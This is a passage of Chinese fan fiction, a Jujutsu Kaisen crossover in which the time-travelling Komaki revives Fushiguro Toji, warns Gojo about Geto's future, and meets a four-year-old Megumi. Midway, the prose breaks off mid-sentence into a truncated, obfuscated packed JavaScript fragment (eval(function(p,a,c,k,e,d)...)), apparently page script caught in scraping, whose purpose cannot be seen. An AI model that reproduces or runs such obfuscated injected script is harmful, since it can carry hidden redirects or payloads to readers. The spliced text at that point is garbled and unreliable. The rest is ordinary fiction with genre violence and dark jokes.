“也许,但我不想,我有点讨厌他。不想告诉他我们认识。告诉你个秘密,他以前救过我命,字面意思,所以我才和他恋爱的,喜欢只是一方面。我早就感觉他这人不行。”小莳又体验了一遭死亡,那感觉相当不妙,她只想找个人说点什么,马后炮的话也好,恰好他就在这:“如果你不想去看他被救活,可以不去,不过如果错过了他半个身子被轰掉的场景,又有些可惜。” “……小莳你。”有点不正常,夏油杰整理了一下措辞,他说:“我还好。” 最怕孩子静悄悄,心里却泛起波涛。小莳对他劝导:“有世界观价值观受到冲击吗?有觉得非咒术师都精神不正常吗?” “……”她在说什么,夏油杰怀疑是自己没恢复好幻听了,“没有这种事,为什么你会这么想。” “因为伏黑甚尔很奇怪嘛!他根本就不认识你们,也没必要把你们都打一顿,但他心情不好就那样做了,被这种纠缠会有很多负面情绪,而且被打很疼,你伤得很重。” 原来是再说这个,夏油杰轻笑,眼角微垂:“还好,因为我知道你会来的,悟也一切都好,理子妹妹和黑井小姐……诚如你说,应当在岛上考虑吃什么晚饭了。” 小莳发现自己先前陷入了一个思维怪圈,好像除了理子那边的存活,其他一切都没有变动,如杰之前与他说的漫长马拉松一样没有着落。然而她这一天其实也改变了不少,减少了失去伙伴的焦虑,及时告知战况,还有给夏油杰打了个预防针,顺便提前说了不少未来前男友的坏话,他早就知道伏黑甚尔是异类了。 因此这不是漫长的马拉松前兆,而是【等到日落一切都会变好】的可以望见终点的攀岩运动,他们终究会到顶点的。 这孩子讲话真好听,真是个好人啊,杰! 那就没问题了,她把他从地上拽起来:“事不宜迟,我们打车,你垫付。等复活了他让他掏钱,我怕赶不上趟他投胎了。” 小莳是相信江山易改本性难移的一类人,她甚至认为三岁看到老这样的一锤子论断也有其合理性,而伏黑甚尔此人--基因缺陷也好,童年孤苦也好,他长成这样已经是板上钉钉的事情,坦白讲,【不是她的类型】,所以期待男人因为爱情而改变……她已经为这个错误付出了一些小的代价,不必再来第二次了。 平行世界的事情很难说清,在属于小莳的时间里,伏黑甚尔在又回到东京后呈现出完全不同的样态,他变得温柔、体贴,他烧菜都不会乱修改菜谱了,也不会像以前一样动不动假装听不见,有消息必回,不回也一定会告知事由……这么一想她又有点消气,这不是长得一样但完全不同的两个人嘛!不过无论如何,人只是偶尔会变,但平行世界里未必就是这样,小莳看到了以前的伏黑甚尔,经过她的考量,没必要把人送到京都的自己跟前。 她干劲满满地准备去从死亡手底下抢人。 “突然就和刚见面一样轻松愉快了呢,小莳。” 她当然不会否认,因为正如他所说:“因为快到晚饭时间了,明天又是阳光开朗的一天,就是车票有点难定--当然,留个伏笔,晚上告诉你。” 毕竟是鸟不拉屎地图上都不显示的小破村子,被拐卖了逃都逃不出来只能在井水里下毒或者放火烧干净的那种地方! 伏黑甚尔在交接完尸体以后也觉得饿了,在认为盘星教法人脑袋有问题之余,他诚邀中间人孔时雨出去吃一顿。 对方有点了解他,令人失望。确实,他不请男人吃饭。 久违想起了小孩的名字,或许回家看看?这也是个契机,毕竟也赚了点钱,可以带孩子一起花。他这么想着,然后遇到了跟在后头堵上的五条悟。 * 盘星教还是个气派的场所,在和筵山两个方向的郊区,夏油杰为了赶路,再次放出了鹈鹕,用它代步去山下,至少要去有些人烟能打到车的地方。 “虹龙呢?”想了有那么一天零六个小时了。 夏油杰的拒绝很务实,也很严谨:“人在上面会被看到,但鹈鹕嘴巴里就不会。” “你让它含着我们飞。” “虹龙没那么大的嘴。” “好的,以后练极之番可以往这个方向改造,我很需要。” “……等你回去以后让那边的我--” 小莳忽然靠近给了他一个拥抱,夏油杰都忘记要说的内容,他愣怔半晌才接下半句:“召唤给你骑。” 她的声音闷闷的:“你身上好臭。”咒灵的血还有人的血。 “……” 她退开了,在暗沉沉的鹈鹕嘴巴里,现在又听不清情绪:“如果以后你见到我,能不能给我骑虹龙啊?我认识你的时候你都28了。” 夏油杰说好的,他会记住这个约定,十年以后也不会忘记。 小莳的声音再和他郑重申明:“那可是十二年。” 他又保证,到那个时候也会依然记得。 “有了孩子也不能忘记哈,你家小孩可能把我当假想敌了。”其实没有,菜菜子美美子人不错,就是有点轴。 “我会把她们教好的。” 她听起来狐疑:“真的?” “真的。” 她用一种快餐店员确定点单的口吻和他说:“不会变成歧视非咒术师然后一天到晚【猴子】【猴子】【豆沙了】的反社会?” “比起这个,你是不是有点,反社会?” 过了一会,小莳承认:“是有点,我童年不幸捏。不过现在它对我来说只是一种时尚单品,前段时间去探了个亲,把遗留问题解决了一部分,寻访了童年时期的亲友……在拖地和扫地的体力劳动中,感觉童年遗憾都被弥补了。” “你是说我应该回家和父母生活一段时间,承担些家庭事务吗?” “……我的建议是,不要。”禁止胡思乱想,她完全没有暗示这个方向。 天哪,不要给人生上难度了! 在上车前小莳都不敢乱开口。 上车后,为了不吓到司机,他们也都不说话,小莳睡着了。再醒来的时候,她问还有多久会到,夏油杰替她问了司机。 “小伙子,你几分钟才问过,还有十来分钟,那地方五点以后就不再对外开放,今天怕是赶不上了。” 他说不要紧,到门口广场就行。 小莳没再睡。 她在下车时撞见了离开的孔时雨。 他看了一眼夏油杰,露出见鬼异样的表情,然后低头掩饰,在夏油杰的目光还没转到他身上的时候走到过道上,开车,进车门。 她没忍住,笑了一下。 等出租车开走后,他才问他:“怎么了?” 小莳只指了指那边正在发动的车:“伏黑甚尔的介绍人,是个描边型选手。很丝滑地错过了悟,不然他也得死。” 他于是向伙伴手指的地方看去,恰好和开着车窗往这里看的硬朗男人有了一个对视。 小莳的笑声又从嗓子里咕噜咕噜冒出来,“他介绍我做过几单生意,算了吧。很怀念,就是他的车帮我运的尸体。” “……” 孔时雨的车冒着一屁股烟走了,他本人看着也很着急。 走了几步以后,小莳才说:“放心,都是诅咒师,看上了你朋友我的20亿。” “没关系,我想你做什么都有理由。” “还真是了不起的信任,我以后都不好意思做坏事哩。” “……不可以做坏事啊,小莳。” 小莳微妙地利用信息差问他:“那你也别做,行不?” “当然。我励志做一个好的咒术师,帮助他人。” 真是宏大的理想,小莳也为他不加修饰的言语触动,“要不你试试【不平等地救助他人】?普通人里的坏种也不少呢,这种人死了也不可惜,当然,这是我的看法。我男朋友喜欢报警,用世俗的手段解决世俗的罪行。”她没做过很长时间的正派人士,咒术师也才堪堪入门,条例不精通,职业操守几乎没有,要劝别人做个好人只能从身边寻找素材。 眼前人还是个提到梦想时眼里有光的少年,希望这次能向更好的未来迈进。 夏油杰回味了一下小莳说的话,有些惊异:“不像你会说的话。” “引用了一下我的一位朋友。他遇到过不少伦理问题,他有个好朋友是特级咒物的受□□来的,但是他觉得他人很好,所以愿意和他做朋友。我估计到最后那孩子身上的死缓应该也不会有了,愿大家都能寿终正寝。” “你的这个朋友,是不是就是你男朋友?” 她肯定了他:“很敏锐。Woo,炸烟花咯,上次看到这种情况还是在涩谷,依稀记得也是你和我一起看的。” ……不是,涩谷怎么了? 不进城都知道那里全天候会有很多人,那里可是从70年代就开始繁荣。 “这是【赫】,反转术式注入无下限以后的逆转,过会你就能看见【茈】了。五条家的人起名真不讲究,你想,红加蓝,可不就是紫?我总结为严肃中透露着些许入门级别的幽默。不过挺好,我们赶上了。”小莳说起话来又开始不在意听者感官了,夏油杰承载了过量信息。 他用手背抵住额头,他的手指正好钩住刘海:“【赫】我倒是听说过,悟和我抱怨过不成功,你说的紫是?” “顺转和反转形成黑洞,假象的质量随之倾泻,虚式【茈】。他讲的时候,我没仔细听,反正他是有炫耀过不是每个家主都能学会,所以在21世纪被他用烂前还是个大秘密。顺便一提,因为这里是空旷的公开场合,所以06年这个消息就以飞速传入了上至总监部下至诅咒师的耳朵里。” 建议以后在学校必修课里加上保密知识培训。 “怎么说,像是悟会做的事情。”他讲这话的时候犹犹豫豫,无论是骄傲显摆,还是光明磊落毫不遮掩的使用,都是他所知的挚友。 没人注意到他们,战斗中的双方都聚精会神,小莳承认,他倒立放技能的样子有几分帅气。“可见真正的魅力从不在日常的夸口。”她感慨,再又叹了口气。 这洞开得有点大啊。 五条悟本还想问问此人有无什么遗言,听见了小莳的声音,就先回头落地,脸上新添了几道伤,蹭破皮的红印:“你是来救人的吗?” “是啊,辛苦你了,也辛苦我了。”小莳走两步拍拍他肩膀,“没关系,以后你可以迫害他儿子泄愤,听你说觉得他们长得还挺像的。”她觉得还是有很大差别,不然显得她是个找代餐的怪人,而且…实事求是来说也不像! 他的眼睛恢复了往日的神采,睫毛扇动,嘴里嘀咕:“干嘛救他,我好不容易才打死的。” 可不兴乱讲,还没死呢,还能救! 小莳转移目光,对上了伏黑甚尔的绿色眼睛,他看起来很疲惫,是将死之人的眼神。他原本垂目往下看的,现在瞳孔却随她的身影晃动,只是,有些涣散。 “看得见我?天与咒缚在死前也能看到咒灵吗?” “你还真是习惯这个身份,才一天多。”五条悟在她身后吐槽,“几百年也出不了几个特殊体质的,看见就看见,没什么了不起。” “是是是,你最了不起了,家~主~大~人。”小莳弯下腰,扭着脖子又向上看,换了个角度,再次对上伏黑甚尔下垂涣散的眼睛,他还是在盯着她:“确定了,他看得见我。那你听得见我说话吗?” 伏黑甚尔没反应。 “喂,你这女人在说什么话,杰!你看她!”吵吵闹闹的是刚结束一场战斗的五条悟,发出尴尬笑声的是想要安抚挚友炸毛情绪的夏油杰。 “你应该不太想死对吧?我懂你,我赚了钱以后也不想死。你要是没了,钱可就全给孔时雨拿来养孩子了。当然,不是小惠,他过几年有自己的小孩。别难过,自尊心这东西也就这样,等你恢复以后把家庭地址给我,回去给孩子烧个晚饭,洗个热水澡,睡一觉,明天就来了。” “哦对,我想要你的咒灵,它除了尸体和咒具还能用来装很多东西,很实用,如果我做了你的救命恩人,要这些东西不过分吧?我想看看传说中的游云长什么样,毕竟真希和杰好像都很喜欢它的样子,这个也要连同咒灵一起送哦~” “我觉得他已经死了。” 小莳叉腰:“闭嘴,悟,我听见呼吸了。” 然后又对伏黑甚尔说:“如果是普通人的话,应该已经脑子不清醒等死了,但你是伏黑甚尔,所以应该还能说话,所以考虑一下吧?你还有一辈子时间选择说‘我愿意’呢。” 两个男高切实体会了一下小莳狠毒的嘴,真是……刻薄。有一种漫不经心又高高在上的一瞥,却要底下人费尽千辛万苦才能应答的漠然。她也有这样的一面。 伏黑甚尔没说我愿意,他说好的。 小莳这才露出心满意足的一个笑,杀价成功。她的笑并不对伏黑甚尔,而是向当时不在场的五条悟:“隆重给你介绍,这是我未来男朋友的父亲。摘要一下,孩子差不多是你和他老婆的孩子共同养大的。因为你把他打死了,他告诉你家里孩子有术式,你又是个好人,给禅院家垫付10个亿全款拿下小惠。” 五条悟怀疑自己听到了什么小语种,夏油杰也是。 小莳说完话以后轻轻哼了一声,她的心情并不因为自己说了让人生气的话而好转。黑洞洞的枪口形状她还没忘呢!她右手指尖在他炸毁的血肉边沿掠过一圈,已经湮没于虚空的内脏、骨血、经络、肌肉便开始苏生,像新绿抽条,蠕动的血管,收缩的神经,甚至心脏在胸腔内的跳动都显示得清清楚楚,面前的人动了一下。小莳正在想肋骨是么长的,被一扰乱气上心头,拍他:“不会站你就蒙个白布躺下。” 本来上手就烦。 他不动了。 结束后,小莳看着他露出的半圆形身体--反转术式修复了机体,没办法补衣服,更何况这个洞在衣服上也属女娲补天级别的,她挥挥手用幻术给他补好,总不能让人这么非主流地回家,说不定还要坐巴士。 “恭喜你,手术很成功,就是衣服不能要了。”她可提醒过了,“咒灵交出来---别放我手上,我可不想被丑东西碰到。” 小莳后退三四步:“杰,你去拿,我过敏。” 然后她不知道从哪掏出纸和笔:“喏,留下你的家庭住址就可以走了。” 伏黑甚尔看了她一眼,似乎确认了什么消息,在纸上写下了地址信息。 “然后呢?” “然后你可以走了。” “……” “别惊讶,我可没你那么麻烦。”小莳假笑,三、二、一,恢复面无表情。 “……”伏黑甚尔有稍微抬起头看了她一眼,只看到一张写着不耐烦的脸 他没带走长在胃里的咒灵,但是离开的时候左手拿天逆鉾,右手嗜魂刀,腰上缠着万里锁。 小莳觉得这是今天最搞笑的一幕。一个是帅气,三个就是批发了。 她回头和一起看着这人背影的两人说道:“挺好,这些东西放黑市上够买一个我,当然,有价无市。其实我在听说以后就一直觉得万里锁的设定很适合挖矿,你们有玩过一个游戏叫做黄金矿工吗?” 万里锁,只要不被观测到另一端就可以无限延伸,理论上绕地球一圈也不是问题。 两位高专学生为她的奇思妙想折服,还是夏油杰先问:“就这样放他走吗,还有,这个你打算怎么办?” “送你了,它叫你妈妈呢。听说里面可以无限容纳咒具,以前它死了你还感到很可惜。”后来,夏油杰再也没能找到堪比此白月光的空间类咒灵,不过并盛咒灵的物种多样性并不发达,他又不爱去东京,情有可原。 夏油杰对她说的内容更好奇:“未来还真是变幻莫测。” 五条悟的目光延申到她身后的一块地方,伏黑甚尔的背影站定不动:“喂,那家伙不会在偷听我们说话吧,小莳,你快把他赶走。”他念她名字的时候尾音拖得长长的,像小朋友在讲话。 她回头一看,距离目测20米的样子,在他的听力范围内。绝对有在听,她扭头回来:“糟了,忘记问他要打车钱。我和杰过来足足花了五位数,本来说好要让伏黑甚尔掏钱的。家主大人,你快去问他敲诈勒索。” 这句话以后哦五条悟肉眼可见地看见伏黑甚尔的走路速度变快。 “……这个称呼和敲诈勒索是怎么回事,算了,别管他了,构不成什么威胁。你说好要告诉我们的。” 她指正:“是‘你’,没有杰。晚上我们出去吃饭怎么样?当然,我没有钱,你请客。” 在此之前,还有重要的事情宣布。 小莳回头看了眼,已经没有伏黑甚尔的身影,她又回来从身上掏出一张纸片:“说真的为了你们我牺牲好大,千万别辜负我的一番心意,不然我会把你们两个都杀了。”她没开玩笑! 说这话的时候两人真的感受到浓浓的杀意。 “……” “……” 她把写有枷场姐妹地址的小纸条递给夏油杰:“明天你们去这个地方,剩下的……你们自己看着办。” “这是什么地方?”五条悟也凑过来看,上面写着经纬度,对生活来说十分难得的定位,但准确,“得对照地图查找,真麻烦。” “你闭嘴,必须得去。”她连鼻涕都糊了!不过这种事小莳绝对不会说出来,她还记得自己以前信誓旦旦说“我大概会粘写,但不卫生,不要。”说的对象还是五条悟。 现在……她为自己的伙伴付出太多了! “那你呢?” “我找个酒店给他们闹鬼。”简单来说,城内度假。“别啰嗦,你但凡有点感激之心就不会在晚饭后对我指指点点,我要吃贵的,快,带我去,要包间。” 她颐指气使的轻慢模样好像才是本来的面貌,夏油杰看着小莳,想她这反应应该就说明接下来没什么问题,不过也对,从一天前到现在也经历了不少事:“那我呢?” “收拾收拾行李,带点零食,悟喜欢的甜点心你房间里应该有不少,统统带上。”美美子和菜菜子喜欢吃啥?不记得,反正都能吃,她们不会拒绝的。 听起来像户外郊游。 夏油杰没问他们要去说什么,非常懂事。只是关心了一下挚友的身体状况:截至目前,他已经三天没有睡觉。 小莳说没关系,反转术式就是有这好处,以及叮嘱夏油杰晚点睡,人在经历事故的6小时内最好不要睡觉,因为一些心理上的这样那样原理,总之科学家是这么说的。因此推荐他吃点东西打打游戏熬到凌晨。 “……”还有这种说法?他点点头,默默打算不予采纳 “你是不是想点头了但是我行我素,不行,你可千万不能睡。”小莳一副怒其不争的样子摇晃他的胳膊,因为她身高够不到他肩膀。 “好的好的,我去商业街买杯咖啡。” “我可是专业医师,听我的。”其实不是,她和职业资格证还有6年学龄和面笔试的距离,也就是,外行。 “硝子以后怎么样。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“……”她认了,确实有点,邪神在亚文化里已经是被用烂的设定,汗流浃背。“下次我一定造个更好的,比如创建一个密教。” 几千个日夜后的鹿儿岛,山岳上,带着眼镜在营地篝火边打盹的女人打了个喷嚏,她被自己的鼻腔痒意惊醒,意识到身上没盖件外衣。 小胜一局,五条悟终于有信心进入正题:“所以呢,你想和我说什么。” 小莳看了眼桌子,他还没吃多少,友情建议:“你再吃几口,我担心食物浪费。” “你点了海胆你怎么不吃?” “这是我来海鲜餐厅的习惯,实际我对海胆一般,炸虾和松叶蟹太好吃了。” “这算哪门子习惯。” “我男朋友--长得像个海胆。每次点海胆算是一种纪念品。” “……”真假,长得像海胆算是怎样的体验,他想了一下,想不出来,“就是今天下午那家伙的儿子?他本来想对我说点什么的。” “他一句【我儿子未来就要被卖到禅院家,随你处置吧】,你就断断续续带娃好些年。我这是帮了你大忙,那孩子……应该不难带,可你看起来也不像会带小孩的样子,”小莳出手打断了意义不明的托孤,五条悟人也是真不错,不过也有看可能是夏油杰叛逃后的寻找队友:“如果是我的话,就进行邪恶的三角贸易自己把那10亿拿了。” “……谢谢,你在未来是?” “一级咒术师,兴趣使然地遵循咒术条例。”小莳对他比了个耶。 五条悟:“……我吃完了,还是直接步入正题吧。杰怎么了?” “你很敏锐嘛!” 和这个没关系,五条悟撇了撇嘴:“你特意把他丢下不就是为了和我说关于他的事情。但我不明白和星浆体护卫任务有什么关系,你承诺我的,现在要说明。” “是吗?说的也是,或许就如同你所说。” “……你到底说不说!” 这孩子,16岁的时候是个急性子啊,小莳又和他确认了一下知晓意愿,被他龇牙以后放出重磅消息:“杰死了,你杀的,2017年。” 从五条悟的眼球状况来看,她以后如果愿意,一定能做个销量优越的小报记者,因此或许新闻传播学也是很好的专业。 她稍微解说了一下前一秒“无论你怎么选,我们都能保障人生”的对象被一枪击毙,后一秒入戏太深的信徒对他们鼓掌,再过一年自然灾害做不完的活,又一阵子学弟没了,最后的最后,□□的疲劳与精神的无助共同把人推向屠村的深渊。不过要她说,全村人有一半都没必要活,可以采取50%50%的方法干掉。 “有一百多个人,你听到以后吓哭了,直呼不可能。他还回家把父母给干掉了,然后你们就绝交了嗯。” “这是什么恶劣的玩笑吗?”五条悟甚至无暇顾及这个一听就是谣言的吓哭了。 “当然不是,我有想用委婉的方法柔性劝导,但你这边……好奇心害死猫,我只能这么说。接下来杰就拜托你了哦~”鸡汤学者说的有道理,烦恼说出去,立刻就会减半。小莳一身轻松。 “……” “好消息是2018年他又活了,不过在我哥单位打工,现在关系已经转到我的家乡那边去了,事情比较复杂,你可以理解他在东京临近的一个城镇里做企业高管,养着他12年前在村里带出的两个孩子--孩子妈多半被他干掉,也可能在那之前就死了,无人在意。对了,我有和你说过明天你们要去的地方就是那个村子吗?你看好他,他一个小时前和我说他要做好人,趁热打铁,望说到做到。” 孤身一人的壮年男性可是一部分罪案的发起人,但上有老下有小且家庭关系和谐稳定的就不太会,心里总会老不好说,杰和爸妈关系不好;但若是有了个孩子……菜菜子和美美子的逢人喊猴不过是一种对尊敬长辈形式化的服从,夏油杰早就该知道,如果她们两个真的那么厌恶人类,何必上个网就去打卡网红餐厅和景点呢?他自己就一点兴趣没有。 有一部分社交是为了寻求认同,而枷场双子在小莳看来,符合此命题。她们只是想要讨厌非咒术师的抚养者认可她们而已。 说起来用孩子绊住男人似乎也是小说里常见的情境,不过那些女人都会自己怀孕,噗,小莳被自己的想法逗笑。 她和五条悟的状态形成了鲜明的对比。 他哑然,凝重,怀疑,或许他希望自己从没听过这番话。 “你怎么还笑得出来!” “嘻嘻,靠你了,家主大人!” “……这话我早就想说了,你根本不是我们五条家的人吧?!” “架不住有人和我炫耀过学会反转术式那年,以区区高二之身就做了一家之主--【你已经18岁,人生也该有点目标了,总该有些愿意为之付出的理想才行】有人这么和我说过。实际上只是糊弄打工的借口,我要是有理想我天天呆在家干嘛?” 小莳不仅有背后蛐蛐人的习惯,她当面也喜欢这样做,又有一套收放自如的技能,反而不惹光明磊落之人的厌烦,但五条悟觉得都这和自己无关:“我可没欺负过你,你不许这样说我。” 她一杯蜜瓜苏打下肚,倔强:“我不,我就要。你长了和他一样的脸,看上去又好欺负很多。” 她在包间外远远传来闲聊的背景音中开口:“你这家伙,是灰原雄的面相啊!” 五条悟不知道在小莳这边灰原雄≈不屈打工仔,但他知道这个代号的意涵一定不好。他这学弟看起来就很单纯好骗的样子,难道说…… “我要生气了!”他轻轻捶了一下桌子。 小莳一看,果然,年轻的五条悟连发脾气都不会。不过也可能是他有求于人,于社交一道仍不能得心应手,以后他可会讨价还价。 “别气,你多关注挚友身心健康就好,以及别让他回家。你这么有钱给他在高专旁边买个房养娃,以后10公里内会有商圈,私立百花王要到附近建校区,小学初中都会有的,高中直接来高专上学,你做班主任,等孩子毕业,杰也就收心准备养老了。怎么样?我写的剧本不错吧?” “那时候我们也才不到35,等等,你说的我做班主任是怎么回事?” 小莳告诉他,他要做一个光荣的高专教师了,他直呼不可能。 “挚友的叛逃当然也改变了你,更不用说你本来就是个好人,不然我才不搭理麻烦的家伙。”五条悟就是麻烦的家伙,“你以后还有学生被判死刑,还有开地下赌场的,大家都是咒术界的光明未来。” 他愣了愣,人生尚未经历过这些层面的奇闻异事,一脸不情愿请小莳评教:“……我教学水平这么差吗?” 她本可以抨击一番对方放养的态度,但是选择收手,她觉得自己真是个充满人情味的好人。小莳冲他咧嘴一笑:“不好说,我受过些帮助,但不算是你学生。如果你仍然选择做老师,就等那时候再看学生反馈咯。我男朋友和他同学稍微有点尊敬你的。” 五条悟一脸不可置信:“只是稍微?” 别不知足,少年。小莳结束用餐,没再和他讲些无关紧要的事情,再和他确认了明后几天的行程,以及两个孩子的性格:黄毛的那个术式就很时髦,长得清秀又天天上网,引导到乐观开朗想必不会费劲,她用刻板印象建议给孩子找个网恋男友;棕头发的术式就是噶脖子,印象中说话少,但更听话。孩子听话也不代表心理上就认同,更需要注重和干预,在她已知的信息中,反而是沉默寡言的美美子实干能力更强--伊地知说的,她在百鬼夜行吊死了数名辅助监督,那时候五条悟在不远处和米格尔交涉。 如果这次是两位好友一起去,就算孩子们会更喜欢杰,悟的功劳应该也会有一点,应该是这样的。惠小时候觉得他这老师可疑,不过既然是被关在阴暗小房间的可怜小朋友,只要是能带她们脱离苦海的好心人,都是好人! 小莳觉得未来可期。 108. 第 108 章 托咒灵体质的福,小莳在酒店大床上睡了一觉,还没留下更多痕迹,作为不请自来的报答,她帮忙祓除了几个后厨还有游泳池的低级咒灵--因为她恰巧观光了这些地方。 她没去和两位高专的学生告别,听说他们很早就要出发,小莳起不来。五条悟留下了他的手机号,让小莳务必在三天内给他打电话。 “虽然杰是我唯一的挚友,但你很特殊,你一定要联系我,不要就这样消失!” 小莳:“1” “?” 于不安和屈辱的混合鸡尾酒般的情绪中,还年轻的咒术师和她依依惜别。 她还懒得买手机,暂时,先把已经离开东京的两人放到一边。 在那之后的第三天,收拾收拾跟着上巴士晃荡到了伏黑甚尔留的地址附近街区,不想实体化,懒得动,兜兜转转她也染上了高中生的坏习惯。 成为能被识别成咒灵的能量体,难免会缺乏安全感。不过小莳既然已经从两个特级手底下逃出生天,好像也没什么需要额外担心的,只是不知道白兰会不会来找她。 应该,会吧。 不同世界的时间亦有差异,千万别这边都十年过去了……小莳摇摇头,不想这些令人难过的话题,十年后火箭炮,坏! 看路标,离伏黑甚尔写下的地址还有两条街的位置,小莳在公园那边看见了迎面朝她走来的伏黑惠,且不说这陌生但有点让人怀念的五官,最重要的是看见发型一眼就认出了这是她阔别已久的男朋友·儿童版本。 算起来他现在应该四岁。 小莳的目光太灼热,她的心情也因为找到目标人物而激动起来,伏黑惠抬起头,看起来很不高兴地和她对视了。 两人都愣了一下。 片刻后,小莳问他:“你看的见我哦?”那不就省事太多了! “这不是一眼就能看出来的事情吗”年纪小小的伏黑惠看起来不耐烦地反问,不过在那之后他似乎意识到了这样说话不礼貌,又语气和缓些问了句:“你是谁?我,没见过你。” 天呢,这小孩哥好酷,他以前可不这样。 难不成是4岁以后已经提前过完青春叛逆期了,哦对,惠初中还做过不良少年呢。小莳之前想好的开场白全作废了,她似乎总是能兜兜转转选到开门见山的回答。 遂坦白:“我是你未来的女朋友,当然也是从十几年以后来的。现在身体因为时空穿越的原因,大概是没了,只能勉强以咒灵的形式存在于这个世界上。” “……我没听懂。” “对哦,你才四岁,总之让我和你回家吧,小惠!” 说到这里他神色又有些警惕:“我不认识你。” 坏咯,这下她成可疑的白发女子了,和本来预想的小小惠对她一见倾心然后听之任之完全不一样呢。小莳蹲下来,也让他省点心不必头昂得那么高:“那我们现在认识了,我是泽田小莳,你可以叫我小莳。” “见到我没有那种很熟悉的感觉吗?没有想和我处好关系的想法吗?” “……”伏黑惠回以沉默,然后他转身换了个方向往住址反方向的住宅走去。 这是什么意思,不认识她,不放心她,所以闷不吭声还特意不往回家的路走?小小年纪就学会了兜圈子,被未来的男友当成了怪人,小莳今天还特意打扮了一番。 在她都不知道伏黑惠有没有到能看见咒灵的时候,她特地为伏黑惠选了一套他在交往时喜欢的穿搭!虽然是咒灵形态,但可以通过咒力修饰形体,自然也能折腾出一套新搭配。小莳学会这个用了足足几个小时时间,又用差不多的时间选了一套合适的外观。 现在他不肯带她回家。 “喂,你家不在这个方向。” “……”伏黑惠小小的身形一僵,偏过头来,“你怎么会知道我家在哪?” “哦,这个呀,你爸给我的,他人还怪好的嘞,还留了手机电话。”小莳问他,“你们家现在只有你和津美纪吗?” 他更吃惊:“你还知道津美纪?” “……都说了是你未来的女朋友,你16岁生日那天我们交往的,不出意外都会知道交往对象家里的一些情况吧!” “未来,是什么意思?” …………原来听不懂是这么个听不懂,也对,小孩子词汇量不够用也正常,小莳和他解释:“就是以后的意思,我是从以后的时间来的。现在理解了吗?” “那么,咒灵是什么?” “你既然能看见我,应该也能看见那个。”小莳手指往公园滑梯上的四级一指,“那就是咒灵,人的负面情绪富集产生的新生物,只有少数人能看见。津美纪就看不见,她是普通人,你父亲也是--不过他不算普通人,但还是看不见就是了。” “那个是……咒灵,你也是咒灵。”伏黑惠的目光徘徊在不成人形的滑滑梯怪物和面前蹲着的白发女人身上。 他眼神里的迷惑伤害到人模人样的小莳了:“你好笨啊,小惠,都说了只是我暂时和咒灵一样,其实我是人类!” 伏黑惠看着闷闷不乐的,小莳也有点不高兴就是了,她四岁的时候可读书识字一套都学到位,虽然也不是什么愉快的回忆。她现在对伏黑惠兴趣少了一半,教小孩国文和常识怪没意思的。而且他看上去也很警惕,不相信她。 她正好也不想带娃。 现在的情况和她想象中不一样,她打起了退堂鼓。 他掉头走了几步,还是此前和家相反的位置,小莳就看着他背影,没跟上。 伏黑惠回头,和她解释:“现在去接津美纪,她在邻居太太家玩,接到了再回家。你不跟上来吗?” 小莳一下就忘了方才自己和自己抱怨的什么麻烦,不想带小孩。她三两步就跨到伏黑惠身边,“来力!” 路上问了下伏黑甚尔这两天的行踪,伏黑惠说早出晚归,疑似打工。 小莳知道,他不可能打工的,更不用说才小赚一笔。她也是最近才知道,所谓的3000万,其实才是定金,事成之后盘星教还有尾款。 在这个时代,是足够挥霍好些日子的巨款,对特别会花钱的伏黑甚尔也一样。 不在家就好,见到了还是会有点怕怕的,小莳心情愉悦。 路上,伏黑惠问起津美纪母亲,也就是他继母的事情,小莳还在前两天给她带来死亡阴影的人不在的喜悦中,没整理好对小朋友应该有的儿童保护态度,她直接说:“多半是死了,我和长大以后的你讨论过这个事情,我们一致认为,能放着价值千万的房产一直不出售的,大概率是因为不在人世。”毕竟是连亲生小孩都能抛下的女人,不会好心到考虑要给孩子套房住。 当时在讨论到这个问题时,并没有所谓的一致认为,只有小莳一个人在孤独地讲她的地狱笑话:“如果是我的话,绝对会把房子卖了然后把孩子送孤儿院去,这才算有始有终。” 伏黑惠有几个小时没和她说话,她后来灰溜溜地去道歉了,也意识到了自己的错误,小朋友没了家人独活在世界上可是很无助的,就像她小时候就不喜欢泽田家光,现在依旧不喜欢。而伏黑惠的童年……直到毕业以后的五条悟出现,已经有一段时间是两个孩子相依为命在那度过的了。 现在的小伏黑惠也不啃声了。他理解了未来这个词的意思,也就是说,在十年里,津美纪的母亲都没再出现。而说话人的态度让人生气。 小莳反应过来一般不会和小孩子说这种话,“现在说她变成了天上的星星还来得及吗?” “……”小小的伏黑惠甩开她的手去敲门了。 不过多时,家主人来开门,和伏黑惠年纪相仿的黑发奇怪刘海小女孩从门里出来,在伏黑惠和长辈打完招呼后,她笑着表达了感谢,还有礼貌说再见。还和门内另一个和小女孩招手道别。 邻居们对他家得情况见怪不怪,只是觉得两孩子都很好,不该被父母这样对待,说来说去最后都化成叹息,让他们多多来玩,随时欢迎。 伏黑津美纪和义理弟弟说起刚刚在邻居太太女儿房间看见的新鲜物件,贝壳、手串和小汽车。伏黑惠回头看了眼小莳,确认她还在后又傲娇扭回头,假装什么都没发生。 他的姐姐津美纪很温柔地把手搭在他肩上,然后被嫌弃地轻轻拂开,小莳在旁边看的清清楚楚,伏黑惠……不好说他是有意识还是没意识的装酷,反正就是很可爱。他明明一点也不讨厌津美纪。 一路上两人都没说话,小莳走得快,留下一句:“我先去你家等着,晚点见。不用担心,开锁和撬窗都难不倒我。”便很快超过了两个人。 伏黑惠的一瞬惊讶还有伸手想拉的动作都被她灵动地抛在身后。 小莳在到伏黑惠小时候住的地方的时候,还碰见了没有预期见到的伏黑甚尔。他手里拎着装着菜的布袋。过了两天,他还是能看见她。 来都来了,她朝买菜归来的男人打了个招呼:“哟,今天回来挺早啊。”好像他们不是只见过三次的样子。 而伏黑甚尔在印象中只见过她一次,但是……或许那个星浆体也是她的伪装,虽然不知道他们是怎么做到的,但她来自另一个世界,精通反转术式,知晓未来,疑似认识他。 伏黑甚尔说:“不回来就要被开锁撬窗户了。我准备去接津美纪的,正好听见。” ??怎么什么事都能给这人撞上。 小莳这会又觉得该有点界限感,不搭理他,在开门后推着第一个走进去,小小的别墅,乱糟糟,格局有点类似泽田家在并盛的小房子--据说房贷还没还完,直到泽田家光从CEDEF离开,正式进入退休,奈奈才能放心住下来。 